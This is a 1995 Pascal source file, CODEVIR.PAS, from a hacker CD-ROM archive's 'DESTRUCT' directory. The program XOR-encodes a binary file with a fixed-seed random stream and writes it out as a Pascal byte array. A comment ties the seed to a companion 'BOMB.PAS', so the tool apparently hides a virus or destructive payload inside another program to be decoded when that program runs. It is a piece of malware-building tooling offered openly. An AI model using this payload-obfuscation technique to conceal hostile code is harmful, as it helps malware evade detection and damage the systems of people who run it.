home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / DESTRUCT / CODEVIR.PAS < prev    next >
Encoding:
Pascal/Delphi Source File  |  1995-08-16  |  1.0 KB  |  47 lines

  1. program codevir;
  2.  
  3. const
  4.   RAND_INIT        =10237989;                   {Must be same as BOMB.PAS}
  5.  
  6. var
  7.   fin              :file of byte;
  8.   input_file       :string;
  9.   output_file      :string;
  10.   fout             :text;
  11.   i,header_size    :word;
  12.   b                :byte;
  13.   s,n              :string;
  14.  
  15. begin
  16.   write('Input file name : '); readln(input_file);
  17.   write('Output file name: '); readln(output_file);
  18.   write('Header size in bytes: '); readln(header_size);
  19.   RandSeed:=RAND_INIT;
  20.   assign(fin,input_file); reset(fin); seek(fin,header_size);
  21.   assign(fout,output_file); rewrite(fout);
  22.   i:=0;
  23.   s:='  (';
  24.   repeat
  25.     read(fin,b);
  26.     b:=b xor Random(256);
  27.     str(b,n);
  28.     if i<>0 then s:=s+',';
  29.     s:=s+n;
  30.     i:=i+1;
  31.     if length(s)>70 then
  32.       begin
  33.         if not eof(fin) then s:=s+',' else s:=s+');';
  34.         writeln(fout,s);
  35.         s:='   ';
  36.         i:=0;
  37.       end;
  38.   until eof(fin);
  39.   if i>0 then
  40.     begin
  41.       s:=s+');';
  42.       writeln(fout,s);
  43.     end;
  44.   close(fout);
  45.   close(fin);
  46. end.
  47.